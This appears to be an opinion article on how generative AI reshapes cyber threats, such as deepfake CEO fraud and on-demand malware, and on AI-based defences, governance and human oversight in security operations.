In early 2024, a finance director at a European manufacturing firm received what appeared to be a routine Teams call from the company’s CE. It was an urgent request to secure funds for a strategic acquisition.
Within minutes, €25 million had vanished. Forensic analysis established that the voice and the video had been faked using materials scraped from public platforms. They were then pieced together and used by criminals who didn’t even have to penetrate the organisation’s network to get what they wanted.
This incident is just one example of a growing trend, where adversaries are leveraging generative AI, particularly deepfakes, to bypass conventional security perimeters and execute fraud.
The changing AI cyber threat
Cyber adversaries are rapidly evolving their toolkit. They are now mass-producing realistic and convincing phishing emails and large-language-model ‘co-pilots’ means that auto-coding malware can now be generated on demand. These tools have the ability to instantly produce fully functional infostealers or polymorphic ransomware that is capable of evading traditional signature-based detections.
Meanwhile, vulnerabilities in machine learning operations (MLOps) platforms and open-source AI frameworks are being weaponised to implant backdoors or tamper with training data.
Traditional security controls operate on assumptions that are not longer true. Legacy defences relied on a finite set of malware families, where known-bad lists would remain relevant over time. In an age when adversaries can generate novel code on demand, these lists decay within hours.
Human time cycles in security operations centers (SOCs) cannot match the pace at which attack chains are compressed from days to mere minutes. Moreover, the static nature of traditional tactics has been upended by adversaries who continuously optimise their approach through reinforcement learning. Defenders must now evolve—from rule-driven practices to a dynamic, data-driven security model powered by artificial intelligence.
Making AI work for your defence
Artificial intelligence, when used right, has the potential to tip the scales in favor of defenders. Cutting-edge techniques such as synthetic-media forensics now employ vision transformers to detect any subtle anomalies that have been introduced by generative adversarial networks, while spectrogram-based neural networks are able to identify voice cloning. These systems are already achieving high accuracy in real-world scenarios, proving their worth in protecting high-value transactions.
In parallel, sequence models designed for code and binary analysis can de-obfuscate malware and semantically interpret new threats. Even those that emerge as zero-day samples. While these capabilities are still in pilot stages, the potential to reveal malicious intent is undeniable.
In addition, large-scale behavioural baselining has fast become a vital defensive measure. By employing graph neural networks to map and analyse relationships among users, devices and processes, organisations get the ability to uncover previously hidden credential abuse, which is the leading method of initial network compromise.
These advanced labelling and detection methods are now integral to extended detection and response (XDR) and user and entity behavioral analytics (UEBA) platforms, strengthening cybersecurity resilience across industries.
Adversary emulation and purple teaming have also been enhanced using AI. Generative agents can automatically chain together techniques from frameworks like MITRE’s ATT&CK, stress-testing defenses as a faster pace. This automated approach can outstrip the speed and sophistication of traditional red-team cycles and is already being tested by early adopters in critical infrastructure sectors.
The evolution of AI-native SOC orchestration promises to revolutionise incident response. Reinforcement-learning models are being deployed to recommend rapid containment actions and even auto-craft incident tickets, with early reports indicating a reduction of triage times by as much as 70%. Although these orchestration tools are still emerging amid evolving governance challenges, they represent a significant leap forward in operational efficiency.
New risks
Yet as defenders harness the power of AI, they must also recognise that the technology itself introduces new risks. As the backbone of digital infrastructure, AI becomes an attractive target—an attack surface that adversaries are keen to exploit.
MITRE’s Secure AI project, for example, extends traditional threat modeling to encompass risks faced by AI systems themselves. This comprehensive framework maps every component of the AI pipeline, from data and model training to runtime operations and APIs, to known adversary tactics.
Regular red-teaming exercises now simulate both classic exploits and machine-learning-specific vulnerabilities such as gradient leakage. In parallel, model provenance initiatives and software bills of materials (SBOMs) ensure that training datasets, model weights, and third-party libraries are meticulously tracked—akin to managing any critical supply chain.
All over, regulators are stepping in to keep pace. The EU AI Act, finalised in 2024, mandates stringent transparency measures for AI-generated content, enforces high-risk controls on deepfake and biometric technologies and bans certain surveillance and social-scoring applications. Even organisations far beyond Europe’s borders will inevitably feel the impact as global service providers align with this strict regulatory baseline.
To design an AI-ready security strategy, organisations must start by taking inventory of their AI exposure. This involves cataloging all generative models, MLOps pipelines, and third-party AI APIs, while clearly defining security ownership at every layer. Parallel to this, embedding hard-wired provenance measures—such as “material passports” that hash-sign artifacts and log dataset versions onto immutable ledgers—is essential for maintaining integrity across the AI pipeline.
Building a synthetic-media kill chain requires integrating real-time deepfake detection with transaction-risk analytics, ensuring that when the confidence in digital identity falters, systems automatically trigger enhanced authentication or outright rejection of potentially fraudulent activities.
Importantly, while AI can autonomously triage and suggest responses, final decision-making—especially for high-impact actions like fund transfers or system shutdowns—must remain in human hands.
In a rapidly changing digital landscape, security teams must also upskill, embracing disciplines such as prompt engineering, adversarial machine learning, and data-science storytelling, alongside recruiting talent from fields like linguistics and behavioral science.
Finally, treating governance as code ensures that policies are embedded directly into the operational fabric—automatically enforcing EU-style transparency flags and blocking high-risk inference calls as circumstances evolve.
Effective measurement of these initiatives is already yielding promising results. According to Gartner, organisations that operationalise human-centric security—merging explainable AI detection with bespoke awareness training—stand to reduce incident response costs by as much as 50% by 2027.
For example, one fintech firm running transformer-based phishing detection reported a 40% reduction in malicious emails reaching employee inboxes, even as the overall volume of phishing attempts soared by more than 50% in a recent period. Similarly, a healthcare provider employing graph-based UEBA solutions halved its average dwell time from 11 days to just five, successfully curbing lateral movements linked to AI-generated infostealers.
Such successes highlight that while the threat landscape grows increasingly digital and dynamic, thoughtful integration of AI in security strategies not only mitigates risk but transforms operational efficiency.
Looking ahead, several open questions and emerging challenges demand our attention. As defenders lean more heavily on AI-based detection systems, adversaries will inevitably attempt to poison those very models—a phenomenon known as adversarial drift.
Ensuring the continuous validation and robust blue-teaming of AI systems will be crucial. Moreover, the democratisation of deepfake technologies and generative credit-profile factories could lead to a flood of synthetic identities, placing immense pressure on know-your-customer (KYC) processes and possibly spurring new regulations mandating biometric liveness detection and cryptographic proofs.
Finally, with quantum computing on the horizon, post-quantum algorithms may soon be needed to safeguard model intellectual property and the confidentiality of training data against quantum-accelerated inversion attacks.
AI is not a silver bullet, nor is it an existential threat. It is a formidable capability accelerator, that is also a double-edged sword that can both empower cybercriminals and enable defenders. The engines that can create a flawless fake CEO call are also the ones that can detect a one-in-a-billion anomaly, decode polymorphic malware, and orchestrate automated containment workflows.
Misinformation can manipulate markets within minutes and autonomous systems manage essential services, which makes the integration of threat-informed AI engineering with rigorous governance and human oversight essential.
Ultimately, success not reliant solely on advanced algorithms but on strategic vision, interdisciplinary collaboration and the unwavering trust that only human judgment can provide. Machines operate at machine speed, but it is human insight that determines why they act and where the protective guardrails must be built.
Future exploration into adversarial defence mechanisms, the convergence of regulatory frameworks and quantum-resistant security models will all shape AI in cybersecurity. How might future collaborations between technologists, regulators and ethical watchdogs refine these dynamic defence strategies? The ongoing dialogue in these arenas promises to redefine the intersection of AI, security and trust for years to come.
